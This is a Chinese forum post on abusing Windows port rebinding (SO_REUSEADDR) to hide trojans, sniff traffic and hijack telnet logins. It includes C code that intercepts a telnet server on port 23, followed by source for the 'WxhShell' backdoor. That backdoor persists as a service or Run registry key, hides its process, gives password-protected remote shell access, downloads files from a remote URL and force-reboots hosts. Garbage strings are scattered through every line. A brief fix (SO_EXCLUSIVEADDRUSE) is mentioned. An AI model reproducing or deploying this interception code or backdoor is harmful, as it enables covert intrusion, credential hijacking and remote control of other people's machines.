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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]|,}hsN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WfG +_iP?  
(Ll'j0]k>  
  saddr.sin_family = AF_INET; wW)(mY?   
5toa@#Bc%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T9Juq6|  
{ ,c*OR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0!lWxS0#=  
pl1CPxSdO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZnI15bsDx  
y||RK` H  
  这意味着什么?意味着可以进行如下的攻击: J-dB  
t$Rc 0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kV?fie<\)  
.yXqa"p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !1=OaOT  
L98T!5)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .|R4E  
LAxN?ok9gD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *OFG3uM  
j+ -r(lZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b-  t  
ll X `  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hd9HM5{p  
Q9O_>mZy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~,1Sw7 rE  
!aF~5P7%  
  #include QtKcv7:4  
  #include -~ ~h1  
  #include -W('^v_*  
  #include    HFy9b|pjy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iD_y@+iz  
  int main() YFB>GQ;  
  { lN g){3  
  WORD wVersionRequested; Jk\-e`eE  
  DWORD ret; =#W:z.w  
  WSADATA wsaData; lRg?||1ik  
  BOOL val; f2IH2^)P  
  SOCKADDR_IN saddr; &Z]}rn  
  SOCKADDR_IN scaddr; A3_p*n@  
  int err; PZ8,E{V  
  SOCKET s; ,k4pW&A  
  SOCKET sc; %mT/y%&:  
  int caddsize; B1nm?E 0i  
  HANDLE mt; Dbn344s  
  DWORD tid;   o(jLirnk  
  wVersionRequested = MAKEWORD( 2, 2 ); Zhfg  
  err = WSAStartup( wVersionRequested, &wsaData ); }BlyEcw'aN  
  if ( err != 0 ) { NLL"~  
  printf("error!WSAStartup failed!\n"); (Fzy8 s  
  return -1; ~bb6NP;'L  
  } #4$YQ  
  saddr.sin_family = AF_INET; zG ='U  
   >t cEx(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lgU!D |v  
ftPps -  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^ l]!'"  
  saddr.sin_port = htons(23); mv8H:T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,R`CAf%*  
  { uKk#V6t#  
  printf("error!socket failed!\n"); X#$ oV#  
  return -1; 6J,h}S  
  } LQPQ !):;  
  val = TRUE; )Ac,F6w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -@w,tbc$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~+4lmslR  
  { 9t\14tVwx  
  printf("error!setsockopt failed!\n"); %MHL@Nn>e  
  return -1; iptA#<Yj  
  } n&;JW6VQS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7w) 8s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cDz@3So.b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3?FY?Q[  
}5vKQf   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~wW]ntZm  
  { (]'wQ4iQ  
  ret=GetLastError(); Vp]7n!g4l  
  printf("error!bind failed!\n"); s|<n7 =J  
  return -1; [m:cO6DM,  
  } > "F-1{  
  listen(s,2); C:Rs~@tl  
  while(1) #1J ,!seJ  
  { G)< B7-72;  
  caddsize = sizeof(scaddr); Fw&ImRMk  
  //接受连接请求 BGibBF^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L%v@|COQ3  
  if(sc!=INVALID_SOCKET) #(614-r/  
  { <<d#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QHO n?e  
  if(mt==NULL) /W,hOv  
  { ; j.d  
  printf("Thread Creat Failed!\n"); 3:jxr  
  break; zS;ruK%2  
  } m=9b/Nr4  
  } n+=qT$w)  
  CloseHandle(mt); tP|/Q 5s  
  } $5G(_   
  closesocket(s); O/#3QK  
  WSACleanup(); PzKTEYJL  
  return 0; x*z&#[(0g!  
  }   moxmQ>xoH  
  DWORD WINAPI ClientThread(LPVOID lpParam) t jThQ  
  { ~|=D.}#$  
  SOCKET ss = (SOCKET)lpParam; l3b=8yn.  
  SOCKET sc; 0a:oC(Ak  
  unsigned char buf[4096]; B;[ .u>f  
  SOCKADDR_IN saddr; Z OPK  
  long num; |Yw k  
  DWORD val; xT&~{,9  
  DWORD ret; u=nd7:bv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7 w,D2T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *bp09XG  
  saddr.sin_family = AF_INET; P@UE.0NYX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [#Apd1S_  
  saddr.sin_port = htons(23); eV}"L:bgJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \12G,tBH  
  { JqO1 a?H  
  printf("error!socket failed!\n"); 3\}u#/Vb  
  return -1; |qe;+)0>K  
  } v*Gd=\88  
  val = 100; $Z)u04;&@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K!\v ?WbF  
  { 2R,} j@  
  ret = GetLastError();  ( y!o  
  return -1; U:8] G  
  } pqO0M]}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "[7-1}l  
  { r}qDvC D  
  ret = GetLastError(); ( gg )?  
  return -1; }kQ{T:q4  
  } j=T8 b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %`k [xz  
  { A'`F Rx(  
  printf("error!socket connect failed!\n"); `PAQv+EYz  
  closesocket(sc); tgG 8pL  
  closesocket(ss); :qxWANUa  
  return -1; M>5OC)E  
  } +pG+ xI  
  while(1) !`N:.+DT  
  { 4o M~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^cNuEF9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?xv."I%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h(yFr/  
  num = recv(ss,buf,4096,0); v\dQjQu8m  
  if(num>0) fx+_;y  
  send(sc,buf,num,0); ./;uhj  
  else if(num==0) @P~%4:!Hr  
  break; DgcS@N  
  num = recv(sc,buf,4096,0); >ye.rRZd`  
  if(num>0) >k`qPpf&  
  send(ss,buf,num,0); 'gor*-o:wu  
  else if(num==0) ?" 4X&6xl  
  break; >)C7IQ/  
  } aHu0z:  
  closesocket(ss); [- 92]  
  closesocket(sc); ]QR]#[Tn'  
  return 0 ; L&s~j/ pR  
  } @!oN]0`F;  
V0 {#q/q  
@yb'h`f]  
==========================================================  m-4#s  
)jl@ hnA  
下边附上一个代码,,WXhSHELL 8hS^8  
#!z-)[S.+  
========================================================== t)8c rX}P  
7Fpa%N/WL  
#include "stdafx.h" bj0HAgY@  
s1]Pv/a=y  
#include <stdio.h> 5K9W5hA:D  
#include <string.h> ynra%"sd  
#include <windows.h>  dEXhn  
#include <winsock2.h> wT+60X'  
#include <winsvc.h> @>U9CL"  
#include <urlmon.h> 1f^oW[w&  
_Q^jk0K8ga  
#pragma comment (lib, "Ws2_32.lib") 8bMw.u=F  
#pragma comment (lib, "urlmon.lib") =3hJti9[  
YdvXp/P:|  
#define MAX_USER   100 // 最大客户端连接数 o/ \o -kC}  
#define BUF_SOCK   200 // sock buffer J%ws-A?6rN  
#define KEY_BUFF   255 // 输入 buffer @.cord`  
Kg2@]J9m  
#define REBOOT     0   // 重启 W!8$:Ih_Z  
#define SHUTDOWN   1   // 关机 mhIGunK;+  
N0lFx?4  
#define DEF_PORT   5000 // 监听端口 EX<1hAw  
:/? Op  
#define REG_LEN     16   // 注册表键长度 oIE(`l0l  
#define SVC_LEN     80   // NT服务名长度 yT3K 2A  
_kOuD}_|  
// 从dll定义API u (r T2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FhH*lO&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -$s1k~o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -,=)O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b N>Ar  
/mE:2K]C  
// wxhshell配置信息 c?xeBC1-  
struct WSCFG { vA*NJ%&`  
  int ws_port;         // 监听端口 ZQz;EV!  
  char ws_passstr[REG_LEN]; // 口令 {XhpxJ__  
  int ws_autoins;       // 安装标记, 1=yes 0=no !5m~qet.  
  char ws_regname[REG_LEN]; // 注册表键名 h*P0;V`UX  
  char ws_svcname[REG_LEN]; // 服务名 +f]I7e:qp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?\Y7]_]/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0x'Fi2=`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $3#oA.~R/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~U?vB((j!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &n6 |L8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z+J~moW `  
N9)ERW2`*  
}; }?{. 'Hv0  
\<%FZT_4~  
// default Wxhshell configuration &@7|_60  
struct WSCFG wscfg={DEF_PORT, K1<l/ s  
    "xuhuanlingzhe", N/^[c+J  
    1, l%2B4d9"v  
    "Wxhshell", 1 d.>?^uE  
    "Wxhshell", wL0"1Ya  
            "WxhShell Service", kgmb<4p  
    "Wrsky Windows CmdShell Service", jS/$ o?  
    "Please Input Your Password: ", U/(R_U>=  
  1, yCg>]6B  
  "http://www.wrsky.com/wxhshell.exe", H<b4B$/  
  "Wxhshell.exe" 4f0dc\$  
    }; GEb)nHQq  
|("5 :m  
// 消息定义模块 hW c M.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NX+ eig</-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;rF:$37^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gY=+G6;=<  
char *msg_ws_ext="\n\rExit."; 6d 8n1_  
char *msg_ws_end="\n\rQuit."; N) z] F9Kg  
char *msg_ws_boot="\n\rReboot...";  93 `  
char *msg_ws_poff="\n\rShutdown..."; QPF[D7\  
char *msg_ws_down="\n\rSave to "; HoM8V"8B  
uqy~hY  
char *msg_ws_err="\n\rErr!"; 9>@"W-  
char *msg_ws_ok="\n\rOK!"; 1G8t=IA%D  
b;|^62  
char ExeFile[MAX_PATH]; eP3 itrH(  
int nUser = 0; :\1&5Pm]  
HANDLE handles[MAX_USER]; 9Bmgz =8  
int OsIsNt; JeCEj=_Z  
X_|} b[b  
SERVICE_STATUS       serviceStatus; }fxH>79g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `[1]wV5(5@  
[ 06B)|s  
// 函数声明 r?2C%GI`  
int Install(void); X4*/h$48 w  
int Uninstall(void); C[$<7Mi|;  
int DownloadFile(char *sURL, SOCKET wsh); l}c<eEfOy"  
int Boot(int flag); `wG&Cy]v  
void HideProc(void); %n c+VL4  
int GetOsVer(void); c Ky%0oTla  
int Wxhshell(SOCKET wsl); N=L urXv  
void TalkWithClient(void *cs); 7~`6~qg.  
int CmdShell(SOCKET sock); ae1fCw3k  
int StartFromService(void); ]R]X#jm  
int StartWxhshell(LPSTR lpCmdLine); ')FNudsC  
`^N;%[c`z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .g&BA15<F6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E3KPJ`=!*"  
,9M \`6  
// 数据结构和表定义 `0 F"zu  
SERVICE_TABLE_ENTRY DispatchTable[] = %BHq2~J  
{ DwTZ<H4  
{wscfg.ws_svcname, NTServiceMain}, p-/x Md  
{NULL, NULL} pV-.r-P  
}; q C|re!K  
$S cjEG:6  
// 自我安装 d ly 08 74  
int Install(void) ;[ zx'e?!  
{ B'0Il"g'  
  char svExeFile[MAX_PATH]; ,>jm|BTD {  
  HKEY key; (}qLxZ/U  
  strcpy(svExeFile,ExeFile); V[#lFl).  
cE]kI,Fw,M  
// 如果是win9x系统,修改注册表设为自启动 FRF}V@~  
if(!OsIsNt) { "Ii!)n,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;NZJEy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mg;AcAS.o,  
  RegCloseKey(key); i\eykYc,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _bz,G"w+:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zd%\x[f9ck  
  RegCloseKey(key); n<$I,IRE  
  return 0; nMbV{h ,  
    } #5I "M WA  
  } r#~6FpFVK^  
} `4p9K  
else { BzUx@,  
lJ,s}l7  
// 如果是NT以上系统,安装为系统服务 hP#&]W3:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xO@OkCue  
if (schSCManager!=0) p.IfJ|  
{ e)bqE^JP  
  SC_HANDLE schService = CreateService M*{e e0\`r  
  ( C ]XDDr  
  schSCManager, ~gDtj&F  
  wscfg.ws_svcname, FxT [4  
  wscfg.ws_svcdisp, 6u7HO-aa  
  SERVICE_ALL_ACCESS, sR0nY8@F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WL~`L!_. A  
  SERVICE_AUTO_START, K=>/(s Wiq  
  SERVICE_ERROR_NORMAL, U5PCj ]-Xt  
  svExeFile, %?$"oWmenS  
  NULL, JZ7-? o  
  NULL, n C Z  
  NULL, Fy@D&j  
  NULL, %~[F^  
  NULL - |'wDf?H  
  ); 1f:k:Y9i  
  if (schService!=0) vT~a}  
  { jHZ<G c  
  CloseServiceHandle(schService); E0PBdiD6hs  
  CloseServiceHandle(schSCManager); 2gv(`NKYE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MG@19R2s  
  strcat(svExeFile,wscfg.ws_svcname); Dx%fW`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;g*6NzdA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x/<. ?[A  
  RegCloseKey(key); C!P6Z10+j  
  return 0; 5-QXvw(TH  
    } ~!OjdE!u  
  } U#P#YpD;==  
  CloseServiceHandle(schSCManager); y%y#Pb |  
} ij),DbWd  
} G#*;3X$  
6bn-NY:i  
return 1; b +_E)4  
} v]!7=>/2  
J5"*OH:f  
// 自我卸载 *$1)&2i  
int Uninstall(void) 5%$#3LT|  
{ k4P.}SJ?  
  HKEY key; V+q RDQ  
>4E,_`3N  
if(!OsIsNt) { P;/T`R=Vr"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '$VR_N\  
  RegDeleteValue(key,wscfg.ws_regname); hg~fFj3ST  
  RegCloseKey(key); Kna'5L5"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J@fE" )  
  RegDeleteValue(key,wscfg.ws_regname); 4SrK]+|  
  RegCloseKey(key); ^s*} 0  
  return 0; )wRD  
  } { 1+H\ (v  
} 2P}RZvUd  
} #wyS?FP-  
else { UTt#ltun?  
;rKYWj>IR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AQ5v`xE4  
if (schSCManager!=0) ao!r6:&v$e  
{ 5  $J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fqv5WoYVf  
  if (schService!=0) F8I <4S  
  { @n(In$  
  if(DeleteService(schService)!=0) { ^q` *!B 9@  
  CloseServiceHandle(schService); kes'q8k  
  CloseServiceHandle(schSCManager); $%-?S]6)  
  return 0; Ymu=G3-  
  } 11sW$@xs 9  
  CloseServiceHandle(schService); u/f&Wq/  
  } p3o?_ !Z  
  CloseServiceHandle(schSCManager); _u>>+6,p  
} :6+~"7T  
} qu%s 7+  
8gNEL+  
return 1; nmGHJb,$  
} nz\fN?q  
l?o- p  
// 从指定url下载文件 [)A#9L~s=  
int DownloadFile(char *sURL, SOCKET wsh) M}Mzm2d#`  
{ !Xi>{nV  
  HRESULT hr; wrU[#g,uvr  
char seps[]= "/"; A2d2V**Z  
char *token; M jTKM;  
char *file; v2{s2kB=  
char myURL[MAX_PATH]; ^@2Vh*k  
char myFILE[MAX_PATH]; eZi<C}z  
GB3B4)cX4Y  
strcpy(myURL,sURL); K7c8_g*>4=  
  token=strtok(myURL,seps); ltR^IiA}  
  while(token!=NULL) sBnPS[Oo  
  { !%r`'|9y  
    file=token; wlM ?gQXU[  
  token=strtok(NULL,seps); 8)8oR&(f  
  } Fr3t [:D  
/p0LtUMu  
GetCurrentDirectory(MAX_PATH,myFILE); ^E17_9?  
strcat(myFILE, "\\"); rgKn=8+a  
strcat(myFILE, file); rbbuSI  
  send(wsh,myFILE,strlen(myFILE),0); 5FI>T=QF  
send(wsh,"...",3,0); Vz]=J;`Mz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^^l"brPa  
  if(hr==S_OK) YWrY{6M  
return 0; q&T'x> /  
else 0\@|M@X=  
return 1; GuvF   
:w%b w\}  
} \r,. hUp  
3G|fo4g  
// 系统电源模块 @!3^/D3  
int Boot(int flag) }Xv1KX'  
{ 4ZpF1Zc4B  
  HANDLE hToken; agT[y/gb  
  TOKEN_PRIVILEGES tkp; ya g  
>[4|6k|\x  
  if(OsIsNt) { AiK4t-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9?chCO(@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Eg. c  
    tkp.PrivilegeCount = 1; b2%bgs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; luk2fi<$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9R"N#w.U]  
if(flag==REBOOT) { U] -@yx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c G!2Iy~lA  
  return 0; vqz#V=J{  
} +gCy@_2;  
else { 4 Olv8nOe<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JO{- P  
  return 0;  >E ;o"  
} } %CbZ/7&  
  } bK$D lBZ  
  else { %aE7id>v6  
if(flag==REBOOT) { )wzs~Fn/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c&?a ,fpb  
  return 0; m3Z}eC8LK  
} UJ)M:~O  
else { | 4oM+n;Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J~'Q^O3@  
  return 0; uNZ>oP>  
} ^ R^N`V   
} B "F`OS[  
^ O Xr: P  
return 1; JKi@Kw  
} ;4v}0N~.  
P9mxY*K)%5  
// win9x进程隐藏模块 "q>I?UcZ  
void HideProc(void) gXLZ)>+A+  
{ \{=`F`oB=  
m<,G:?RM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3et2\wOX1x  
  if ( hKernel != NULL ) V&j.>Y  
  { C\^<v&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &G|jzXE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v\9,j  
    FreeLibrary(hKernel); .Jat^iFj0  
  } +6M+hO]  
0H&U=9'YT  
return; |od4kt  
} ;n7|.O]*  
R ms01m>Y  
// 获取操作系统版本 s.I1L?s1w?  
int GetOsVer(void) lPcVhj6No%  
{ 5az 4NT  
  OSVERSIONINFO winfo; . (*kgv@3x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H^PqYLj N  
  GetVersionEx(&winfo); _ kSPUP5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +V+*7s%fL  
  return 1; r|\'9"@  
  else eo*u(@  
  return 0; 6n6VEwYj  
} /mB Beg^a  
BXK::M+  
// 客户端句柄模块 Ril21o! j  
int Wxhshell(SOCKET wsl) &Wz`>qYL*  
{ ^Im%D(MY  
  SOCKET wsh; uJ/?+5TU  
  struct sockaddr_in client; 9<(K6Q  
  DWORD myID; 8K JQ(  
+ 65~,e  
  while(nUser<MAX_USER) Y K?*7  
{ jPYe_y  
  int nSize=sizeof(client); O *J_+6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |h=+&*(:  
  if(wsh==INVALID_SOCKET) return 1; hr!f: D  
n@07$lY@;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T:g4D z*2\  
if(handles[nUser]==0) X!#i@V  
  closesocket(wsh); ss0'GfP  
else VmOFX:j!,  
  nUser++; bDFCZH-:'O  
  } (&P0la 1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0nD=|W\@{  
qv0 DrL,3  
  return 0; 'Elj"Iiu  
} o ,Tr^e$  
_+Jf.n20  
// 关闭 socket |1QbO`f/F  
void CloseIt(SOCKET wsh) BheEI;}  
{ R0hc tT1j  
closesocket(wsh); 4`UL1)A]  
nUser--; l@tyg7CwY  
ExitThread(0); MCi`TXr  
} ZH;y>Z  
J%\~<_2ny  
// 客户端请求句柄 x'@32gv  
void TalkWithClient(void *cs) Y0 X"Zw  
{ >: W-C{%  
4QjWZ Wl  
  SOCKET wsh=(SOCKET)cs; [C+Gmu  
  char pwd[SVC_LEN]; 7Js>!KR  
  char cmd[KEY_BUFF]; Ff Yd+]+?  
char chr[1]; ra9cD"/J &  
int i,j; =##s;zj(%  
i (%tHa37  
  while (nUser < MAX_USER) { gaw4NZd)0  
hLyTUt~\L  
if(wscfg.ws_passstr) { WBw M;S#%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ gfA](N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }l}yn@hYC  
  //ZeroMemory(pwd,KEY_BUFF); pVV}1RDa  
      i=0; vhYMWfbY  
  while(i<SVC_LEN) { `dgM|.w5=  
!O F?xW  
  // 设置超时 :PFx&  
  fd_set FdRead; %l8*t$8  
  struct timeval TimeOut; 4#@W;'  
  FD_ZERO(&FdRead); UKKSc>D1  
  FD_SET(wsh,&FdRead); sw41wj  
  TimeOut.tv_sec=8; tIyuzc~U  
  TimeOut.tv_usec=0; CrNwALx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @3 -,=x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a)_rka1(  
uEScAeQXsI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'n l RY5@2  
  pwd=chr[0]; 7>'uj7r]=  
  if(chr[0]==0xd || chr[0]==0xa) { e' U"`)S  
  pwd=0; "xDx/d8B  
  break; $>'")7z  
  } 2<[ eD`u  
  i++; SLJ&{`"7  
    } 9@#h}E1$  
QM[A;WBr7  
  // 如果是非法用户,关闭 socket 3C rQBIj1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d1~_?V'r]  
} "w*+v  
<2)s<S.;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yHWi [7$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m/YH^N0  
>:F,-cx<  
while(1) { VG<Hw{ c3r  
@cuD8<\i  
  ZeroMemory(cmd,KEY_BUFF); Ka]J^w;a  
$5TepH0D  
      // 自动支持客户端 telnet标准   $=PWT-GIR  
  j=0; fJ)N:q`  
  while(j<KEY_BUFF) { fg9?3x Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JJ/1daj  
  cmd[j]=chr[0]; ,&.W6sW  
  if(chr[0]==0xa || chr[0]==0xd) { =ze FK_S!  
  cmd[j]=0; %6NO0 F^  
  break; . ]o3A8  
  } 2E`~ qn  
  j++; U,Z"G1^  
    } hWq. #e 6  
j>0<#SYBu  
  // 下载文件 ?w+ QbT  
  if(strstr(cmd,"http://")) { QP6z?j.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DR k]{^C~  
  if(DownloadFile(cmd,wsh)) -A/ds1=;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K<@[_W+  
  else zVM4BT(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ="uKWt6n'  
  } V I6\   
  else { M"=8O>NZ2  
$hG;2v  
    switch(cmd[0]) { I86e&"40  
  'oz hz2s  
  // 帮助 ^ckj3Y#;  
  case '?': { Yv)Bj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yWj9EHQU[  
    break; 5/& 1Oxo  
  } `%-4>jI9-  
  // 安装 X^zYQ6t  
  case 'i': { g3|BE2?  
    if(Install()) v~ ^ks{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m4Te|  
    else rr|"r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %ZujCZn  
    break; _9D|u<D  
    } #|qm!aGs  
  // 卸载 z^4KU\/JK  
  case 'r': { FE/$(7rM  
    if(Uninstall()) zuUT S[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W8f`J2^"M  
    else BJ~ ivT<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {5T0RL{\N  
    break; 9*#$0Y=  
    } m)s xotgXf  
  // 显示 wxhshell 所在路径 MV%Xhfk  
  case 'p': { n!GWqle  
    char svExeFile[MAX_PATH]; 8@E8!w&~  
    strcpy(svExeFile,"\n\r"); *;<e '[Y7f  
      strcat(svExeFile,ExeFile); 2q)T y9  
        send(wsh,svExeFile,strlen(svExeFile),0); y^2#9\}K  
    break; H76E+AY  
    } }<vvxi  
  // 重启 Vy]A,Rn7  
  case 'b': { B,3 t`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9'1hjd3k  
    if(Boot(REBOOT)) D9ANm"#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$GK.MP5  
    else { 5^\m`gS  
    closesocket(wsh); 53B.2 4Tm  
    ExitThread(0); S[v Rw]*  
    } JW=uK$sO  
    break; Yt -W1vl  
    } @4;&hP2Z:  
  // 关机 @gNpJB]V  
